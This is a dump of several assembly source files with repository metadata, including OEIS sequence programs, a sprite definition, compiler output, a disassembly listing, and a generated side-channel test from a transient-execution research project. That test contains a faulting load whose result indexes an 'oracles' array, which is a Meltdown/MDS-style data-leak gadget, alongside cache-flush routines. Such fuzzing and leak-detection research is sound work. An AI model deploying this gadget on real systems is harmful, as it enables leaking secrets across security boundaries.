0x019A (0x000334) 0x2102- f:00020 d: 258 | A = OR[258]
0x019B (0x000336) 0x1421- f:00012 d: 33 | A = A + 33 (0x0021)
0x019C (0x000338) 0x291E- f:00024 d: 286 | OR[286] = A
0x019D (0x00033A) 0x211E- f:00020 d: 286 | A = OR[286]
0x019E (0x00033C) 0x290D- f:00024 d: 269 | OR[269] = A
0x019F (0x00033E) 0x310D- f:00030 d: 269 | A = (OR[269])
0x01A0 (0x000340) 0x8612- f:00103 d: 18 | P = P + 18 (0x01B2), A # 0
0x01A1 (0x000342) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01A2 (0x000344) 0x2922- f:00024 d: 290 | OR[290] = A
0x01A3 (0x000346) 0x210D- f:00020 d: 269 | A = OR[269]
0x01A4 (0x000348) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01A5 (0x00034A) 0x2923- f:00024 d: 291 | OR[291] = A
0x01A6 (0x00034C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01A7 (0x00034E) 0x2924- f:00024 d: 292 | OR[292] = A
0x01A8 (0x000350) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x01A9 (0x000352) 0x5800- f:00054 d: 0 | B = A
0x01AA (0x000354) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x01AC (0x000358) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01AD (0x00035A) 0x2006- f:00020 d: 6 | A = OR[6]
0x01AE (0x00035C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x01AF (0x00035E) 0x2908- f:00024 d: 264 | OR[264] = A
0x01B0 (0x000360) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01B1 (0x000362) 0x7214- f:00071 d: 20 | P = P - 20 (0x019D)
0x01B2 (0x000364) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01B3 (0x000366) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x01B4 (0x000368) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01B5 (0x00036A) 0x2922- f:00024 d: 290 | OR[290] = A
0x01B6 (0x00036C) 0x1800-0x015F f:00014 d: 0 | A = 351 (0x015F)
0x01B8 (0x000370) 0x2923- f:00024 d: 291 | OR[291] = A
0x01B9 (0x000372) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x01BA (0x000374) 0x5800- f:00054 d: 0 | B = A
0x01BB (0x000376) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x01BD (0x00037A) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01BE (0x00037C) 0x2913- f:00024 d: 275 | OR[275] = A
0x01BF (0x00037E) 0x8602- f:00103 d: 2 | P = P + 2 (0x01C1), A # 0
0x01C0 (0x000380) 0x7013- f:00070 d: 19 | P = P + 19 (0x01D3)
0x01C1 (0x000382) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x01C2 (0x000384) 0x2922- f:00024 d: 290 | OR[290] = A
0x01C3 (0x000386) 0x1800-0x0137 f:00014 d: 0 | A = 311 (0x0137)
0x01C5 (0x00038A) 0x2923- f:00024 d: 291 | OR[291] = A
0x01C6 (0x00038C) 0x2113- f:00020 d: 275 | A = OR[275]
0x01C7 (0x00038E) 0x2924- f:00024 d: 292 | OR[292] = A
0x01C8 (0x000390) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01C9 (0x000392) 0x2925- f:00024 d: 293 | OR[293] = A
0x01CA (0x000394) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01CB (0x000396) 0x2926- f:00024 d: 294 | OR[294] = A
0x01CC (0x000398) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01CD (0x00039A) 0x2927- f:00024 d: 295 | OR[295] = A
0x01CE (0x00039C) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x01CF (0x00039E) 0x5800- f:00054 d: 0 | B = A
0x01D0 (0x0003A0) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x01D2 (0x0003A4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01D3 (0x0003A6) 0x211E- f:00020 d: 286 | A = OR[286]
0x01D4 (0x0003A8) 0x290D- f:00024 d: 269 | OR[269] = A
0x01D5 (0x0003AA) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01D6 (0x0003AC) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x01D7 (0x0003AE) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x01D8 (0x0003B0) 0x310D- f:00030 d: 269 | A = (OR[269])
0x01D9 (0x0003B2) 0x8409- f:00102 d: 9 | P = P + 9 (0x01E2), A = 0
0x01DA (0x0003B4) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x01DB (0x0003B6) 0x2922- f:00024 d: 290 | OR[290] = A
0x01DC (0x0003B8) 0x210D- f:00020 d: 269 | A = OR[269]
0x01DD (0x0003BA) 0x2923- f:00024 d: 291 | OR[291] = A
0x01DE (0x0003BC) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x01DF (0x0003BE) 0x5800- f:00054 d: 0 | B = A
0x01E0 (0x0003C0) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x01E1 (0x0003C2) 0x7C09- f:00076 d: 9 | R = OR[9]
0x01E2 (0x0003C4) 0x73BE- f:00071 d: 446 | P = P - 446 (0x0024)
0x01E3 (0x0003C6) 0x1800-0x0570 f:00014 d: 0 | A = 1392 (0x0570)
0x01E5 (0x0003CA) 0x291F- f:00024 d: 287 | OR[287] = A
0x01E6 (0x0003CC) 0x7E03-0x0209 f:00077 d: 3 | R = OR[3]+521 (0x0209)
0x01E8 (0x0003D0) 0x2120- f:00020 d: 288 | A = OR[288]
0x01E9 (0x0003D2) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01EA (0x0003D4) 0x2908- f:00024 d: 264 | OR[264] = A
0x01EB (0x0003D6) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01EC (0x0003D8) 0x2913- f:00024 d: 275 | OR[275] = A
0x01ED (0x0003DA) 0x2100- f:00020 d: 256 | A = OR[256]
0x01EE (0x0003DC) 0x141D- f:00012 d: 29 | A = A + 29 (0x001D)
0x01EF (0x0003DE) 0x2914- f:00024 d: 276 | OR[276] = A
0x01F0 (0x0003E0) 0x100F- f:00010 d: 15 | A = 15 (0x000F)
0x01F1 (0x0003E2) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x01F2 (0x0003E4) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x01F3 (0x0003E6) 0x5800- f:00054 d: 0 | B = A
0x01F4 (0x0003E8) 0x2113- f:00020 d: 275 | A = OR[275]
0x01F5 (0x0003EA) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x01F6 (0x0003EC) 0x290D- f:00024 d: 269 | OR[269] = A
0x01F7 (0x0003EE) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01F8 (0x0003F0) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004)
0x01F9 (0x0003F2) 0x2514- f:00022 d: 276 | A = A + OR[276]
0x01FA (0x0003F4) 0x290E- f:00024 d: 270 | OR[270] = A
0x01FB (0x0003F6) 0x310E- f:00030 d: 270 | A = (OR[270])
0x01FC (0x0003F8) 0x4C00- f:00046 d: 0 | A = A >> B
0x01FD (0x0003FA) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001)
0x01FE (0x0003FC) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x01FF (0x0003FE) 0x250D- f:00022 d: 269 | A = A + OR[269]
0x0200 (0x000400) 0x4E00- f:00047 d: 0 | A = A << B
0x0201 (0x000402) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0202 (0x000404) 0x73EC- f:00071 d: 492 | P = P - 492 (0x0016)
0x0203 (0x000406) 0x2104- f:00020 d: 260 | A = OR[260]
0x0204 (0x000408) 0x290D- f:00024 d: 269 | OR[269] = A
0x0205 (0x00040A) 0x2104- f:00020 d: 260 | A = OR[260]
0x0206 (0x00040C) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0207 (0x00040E) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC)
0x0209 (0x000412) 0x2904- f:00024 d: 260 | OR[260] = A
0x020A (0x000414) 0x2104- f:00020 d: 260 | A = OR[260]
0x020B (0x000416) 0x2920- f:00024 d: 288 | OR[288] = A
0x020C (0x000418) 0x1014- f:00010 d: 20 | A = 20 (0x0014)
0x020D (0x00041A) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260]
0x020E (0x00041C) 0x2104- f:00020 d: 260 | A = OR[260]
0x020F (0x00041E) 0x2705- f:00023 d: 261 | A = A - OR[261]
0x0210 (0x000420) 0xB234- f:00131 d: 52 | R = OR[52], C = 1
0x0211 (0x000422) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B ****
0x0212 (0x000424) 0x210D- f:00020 d: 269 | A = OR[269]
0x0213 (0x000426) 0x3904- f:00034 d: 260 | (OR[260]) = A
0x0214 (0x000428) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1
0x0215 (0x00042A) 0x1028- f:00010 d: 40 | A = 40 (0x0028)
0x0216 (0x00042C) 0x2922- f:00024 d: 290 | OR[290] = A
0x0217 (0x00042E) 0x1800-0x012A f:00014 d: 0 | A = 298 (0x012A)
0x0219 (0x000432) 0x2923- f:00024 d: 291 | OR[291] = A
0x021A (0x000434) 0x2119- f:00020 d: 281 | A = OR[281]
0x021B (0x000436) 0x2924- f:00024 d: 292 | OR[292] = A
0x021C (0x000438) 0x211C- f:00020 d: 284 | A = OR[284]
0x021D (0x00043A) 0x2925- f:00024 d: 293 | OR[293] = A
0x021E (0x00043C) 0x211D- f:00020 d: 285 | A = OR[285]
0x021F (0x00043E) 0x2926- f:00024 d: 294 | OR[294] = A
0x0220 (0x000440) 0x211F- f:00020 d: 287 | A = OR[287]
0x0221 (0x000442) 0x2927- f:00024 d: 295 | OR[295] = A
0x0222 (0x000444) 0x2120- f:00020 d: 288 | A = OR[288]
0x0223 (0x000446) 0x2928- f:00024 d: 296 | OR[296] = A
0x0224 (0x000448) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0225 (0x00044A) 0x2929- f:00024 d: 297 | OR[297] = A
0x0226 (0x00044C) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x0227 (0x00044E) 0x292A- f:00024 d: 298 | OR[298] = A
0x0228 (0x000450) 0x1122- f:00010 d: 290 | A = 290 (0x0122)
0x0229 (0x000452) 0x5800- f:00054 d: 0 | B = A
0x022A (0x000454) 0x1800-0x1518 f:00014 d: 0 | A = 5400 (0x1518)
0x022C (0x000458) 0x7C09- f:00076 d: 9 | R = OR[9]
0x022D (0x00045A) 0x8602- f:00103 d: 2 | P = P + 2 (0x022F), A # 0
0x022E (0x00045C) 0x0200- f:00001 d: 0 | EXIT
0x022F (0x00045E) 0x7A03-0x001C f:00075 d: 3 | P = OR[3]+28 (0x001C)
0x0231 (0x000462) 0x3120- f:00030 d: 288 | A = (OR[288])
0x0232 (0x000464) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0233 (0x000466) 0x2913- f:00024 d: 275 | OR[275] = A
0x0234 (0x000468) 0x2120- f:00020 d: 288 | A = OR[288]
0x0235 (0x00046A) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x0236 (0x00046C) 0x2920- f:00024 d: 288 | OR[288] = A
0x0237 (0x00046E) 0x0200- f:00001 d: 0 | EXIT
0x0238 (0x000470) 0x0000- f:00000 d: 0 | PASS
0x0239 (0x000472) 0x0000- f:00000 d: 0 | PASS
0x023A (0x000474) 0x0000- f:00000 d: 0 | PASS
0x023B (0x000476) 0x0000- f:00000 d: 0 | PASS
| 81.007407 | 127 | 0.464018 |
619b2361a1e2aa9c1695f5d071e18cc1736d5c17 | 424 | asm | Assembly | programs/oeis/039/A039636.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/039/A039636.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/039/A039636.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A039636: Number of steps to fixed point of "n -> n/2 or (n-1)/2 until result is prime".
; 1,1,1,2,1,2,1,3,3,2,1,3,1,2,2,4,1,4,1,3,3,2,1,4,4,2,2,3,1,3,1,5,5,2,2,5,1,2,2,4,1,4,1,3,3,2,1,5,5,5,5,3,1,3,3,4,4,2,1,4,1,2,2,6,6,6,1,3,3,3,1,6,1,2,2,3,3,3,1,5,5,2,1,5,5,2,2,4,1,4,4,3,3,2,2,6,1,6,6,6
lpb $0
seq $0,66560 ; Smallest composite number divisible by n.
sub $0,2
div $0,2
add $1,2
lpe
div $1,2
add $1,1
mov $0,$1
| 32.615385 | 201 | 0.568396 |
80eb96a8413027532f6d645c179c465fb82c292f | 1,643 | asm | Assembly | programs/oeis/061/A061983.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/061/A061983.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/061/A061983.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A061983: 3^n - (3n^2 + n + 2)/2.
; 0,0,1,11,54,202,671,2109,6460,19556,58893,176959,531218,1594062,4782667,14348561,43046328,129139720,387419993,1162260915,3486783790,10460352530,31381058871,94143178021,282429535604,847288608492,2541865827301,7625597483879,22876792453770,68630377363606,205891132093283,617673396282489,1853020188850288,5559060566553872,16677181699664817,50031545098997851,150094635296997158,450283905890995290,1350851717672989903,4052555153018973965,12157665459056926380,36472996377170783860,109418989131512356541,328256967394537074831,984770902183611229954,2954312706550833695582,8862938119652501092731,26588814358957503284449,79766443076872509859880,239299329230617529586456,717897987691852588766473,2153693963075557766306819,6461081889226673298928158,19383245667680019896792482,58149737003040059690385767,174449211009120179071165941,523347633027360537213506788,1570042899082081611640529660,4710128697246244834921598613,14130386091738734504764805815,42391158275216203514294427770,127173474825648610542883293990,381520424476945831628649893011,1144561273430837494885949690441,3433683820292512484657849083104,10301051460877537453973547261472,30903154382632612361920641796961,92709463147897837085761925403819,278128389443693511257285776224790,834385168331080533771857328688106,2503155504993241601315571986078463,7509466514979724803946715958249949,22528399544939174411840147874764828,67585198634817523235520443624309892,202755595904452569706561330872945517,608266787713357709119683992618852831
mov $3,$0
add $3,1
mov $4,3
pow $4,$0
lpb $0
sub $0,1
sub $4,$3
mov $2,$4
add $3,1
lpe
mov $0,3
mul $0,$2
sub $0,2
div $0,3
| 91.277778 | 1,474 | 0.900183 |
78502f9a58e3f72e07aff9854c3dea9d6d83cc0b | 2,211 | asm | Assembly | src/spread/sprites/copy.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/spread/sprites/copy.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | src/spread/sprites/copy.asm | olifink/qspread | d6403d210bdad9966af5d2a0358d4eed3f1e1c02 | [
"MIT"
] | null | null | null | ;Sprite source code generated with EASYSOURCE 1990 Albin Hessler Software
;**************************************************************************
;Sprite -> spread_s <- 1992 Feb 14 20:50:29
section sprite
xdef mes_ccpy
mes_ccpy
sp1
dc.w $0100,$0000 ;form, time/adaption
dc.w $001C,$0014 ;x size, y size
dc.w $0001,$0001 ;x origin, y origin
dc.l cp1-* ;pointer to colour pattern
dc.l pm1-* ;pointer to pattern mask
dc.l 0 ;pointer to next definition
cp1
dc.w $0000,$0000,$0000,$0000
dc.w $4040,$0000,$0000,$0000
dc.w $6060,$0000,$0000,$0000
dc.w $7070,$0000,$0000,$0000
dc.w $7878,$0000,$0000,$0000
dc.w $7C7C,$0000,$0000,$0000
dc.w $7E7E,$0000,$0000,$0000
dc.w $7F7F,$0000,$0000,$0000
dc.w $7F7F,$8080,$0000,$0000
dc.w $7E7E,$0000,$0000,$0000
dc.w $6666,$0000,$0000,$0000
dc.w $0303,$FFFF,$FFFF,$E0E0
dc.w $0303,$3333,$1B1B,$A0A0
dc.w $0202,$EDED,$6D6D,$6060
dc.w $0202,$EDED,$6E6E,$E0E0
dc.w $0202,$EDED,$1E1E,$E0E0
dc.w $0202,$EDED,$7E7E,$E0E0
dc.w $0303,$3333,$7E7E,$E0E0
dc.w $0303,$FFFF,$FFFF,$E0E0
dc.w $0000,$0000,$0000,$0000
pm1
dc.w $C0C0,$0000,$0000,$0000
dc.w $E0E0,$0000,$0000,$0000
dc.w $F0F0,$0000,$0000,$0000
dc.w $F8F8,$0000,$0000,$0000
dc.w $FCFC,$0000,$0000,$0000
dc.w $FEFE,$0000,$0000,$0000
dc.w $FFFF,$0000,$0000,$0000
dc.w $FFFF,$8080,$0000,$0000
dc.w $FFFF,$C0C0,$0000,$0000
dc.w $FFFF,$8080,$0000,$0000
dc.w $FFFF,$FFFF,$FFFF,$F0F0
dc.w $6767,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
dc.w $0707,$FFFF,$FFFF,$F0F0
;
end
| 36.85 | 76 | 0.475351 |
7ecade068a17754ecbd6388faf454cea549fc6ae | 634 | asm | Assembly | oeis/070/A070834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/070/A070834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/070/A070834.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A070834: Reverse(n)^n.
; Submitted by Jamie Morken(s4)
; 1,4,27,256,3125,46656,823543,16777216,387420489,1,285311670611,7355827511386641,24417546297445042591,37929227194915558802161,41072642160770556400888251,36751693856637464631913392961,29606831241262271996845213307591,22528399544939174411840147874772641,16664276159359979836134597478321347811,1048576,46005119909369701466112,341427877364219557396646723584,41538374868278621028243970633760768,907784931546351634835748413459499319296,7944811378381907919170379739856654861074432
add $0,1
mov $2,$0
seq $0,4086 ; Read n backwards (referred to as R(n) in many sequences).
pow $0,$2
| 70.444444 | 474 | 0.873817 |
8046f55e47b787ac5cbb1e1787be3faae5fe494a | 447 | asm | Assembly | 3.expr/generated-asm/300.arithmetic.asm | takenobu-hs/haskell-ghc-cmm-examples | 20938925f242648598b33db1a6a33f9f9562788c | [
"BSD-3-Clause"
] | 1 | 2021-07-05T00:21:19.000Z | 2021-07-05T00:21:19.000Z | 3.expr/generated-asm/300.arithmetic.asm | takenobu-hs/haskell-ghc-cmm-examples | 20938925f242648598b33db1a6a33f9f9562788c | [
"BSD-3-Clause"
] | null | null | null | 3.expr/generated-asm/300.arithmetic.asm | takenobu-hs/haskell-ghc-cmm-examples | 20938925f242648598b33db1a6a33f9f9562788c | [
"BSD-3-Clause"
] | null | null | null |
==================== Asm code ====================
.section .text
.align 8
.globl func1
.type func1, @function
func1:
_c1:
movl $256,%ebx
leaq 2(%rbx),%r14
decq %r14
imulq $10,%r14
movl $3,%eax
movq %rax,%rbx
movq %r14,%rax
xorq %rdx,%rdx
divq %rbx
movq %rax,%r14
shlq $2,%r14
shrq $1,%r14
movl $100,%eax
movq %rax,%rbx
movq %r14,%rax
xorq %rdx,%rdx
divq %rbx
movq %rdx,%r14
movq %r14,%rbx
jmp *(%rbp)
.size func1, .-func1
| 13.96875 | 50 | 0.57047 |
07968492e4175c2e40c971f5f268ad11c3404137 | 5,623 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_765_394.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_765_394.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0xca_notsx.log_765_394.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x17ac9, %rsi
lea addresses_D_ht+0xb854, %rdi
clflush (%rdi)
nop
nop
nop
cmp %r14, %r14
mov $114, %rcx
rep movsb
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_D_ht+0x19b89, %r15
nop
nop
nop
nop
add $51326, %rbx
mov $0x6162636465666768, %r14
movq %r14, (%r15)
nop
nop
and $9911, %rcx
lea addresses_WC_ht+0x1eb19, %rsi
lea addresses_normal_ht+0x2e79, %rdi
xor %r12, %r12
mov $105, %rcx
rep movsl
dec %rsi
lea addresses_D_ht+0x1189, %rsi
lea addresses_A_ht+0x176d1, %rdi
nop
cmp %r15, %r15
mov $102, %rcx
rep movsb
nop
and $5299, %rbx
lea addresses_A_ht+0x10089, %rsi
lea addresses_WT_ht+0x2d89, %rdi
nop
nop
nop
nop
nop
and $18380, %rax
mov $93, %rcx
rep movsw
nop
add %rax, %rax
lea addresses_WT_ht+0x12389, %rsi
lea addresses_D_ht+0x12789, %rdi
nop
nop
xor $35221, %r15
mov $46, %rcx
rep movsq
nop
nop
nop
nop
nop
inc %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r14
push %r15
push %r9
push %rbp
push %rcx
// Load
lea addresses_WT+0xca3f, %r9
cmp $17388, %r12
movb (%r9), %r14b
nop
nop
nop
inc %rcx
// Load
lea addresses_A+0x1d901, %r14
clflush (%r14)
and $40780, %r15
movaps (%r14), %xmm3
vpextrq $1, %xmm3, %r12
and %r11, %r11
// Load
lea addresses_PSE+0x17101, %r15
add %r9, %r9
vmovups (%r15), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
nop
nop
nop
nop
nop
add %r9, %r9
// Faulty Load
lea addresses_WT+0x11b89, %rbp
nop
nop
nop
sub $60145, %r11
mov (%rbp), %r9
lea oracles, %r12
and $0xff, %r9
shlq $12, %r9
mov (%r12,%r9,1), %r9
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_WT', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'39': 765}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 34.286585 | 2,294 | 0.657123 |
a1538188e770afb64fd8be0962139e3524042e6f | 5,895 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_sm_/i3-7100_9_0xca_notsx.log_21829_1168.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_sm_/i3-7100_9_0xca_notsx.log_21829_1168.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_st_zr_un_sm_/i3-7100_9_0xca_notsx.log_21829_1168.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
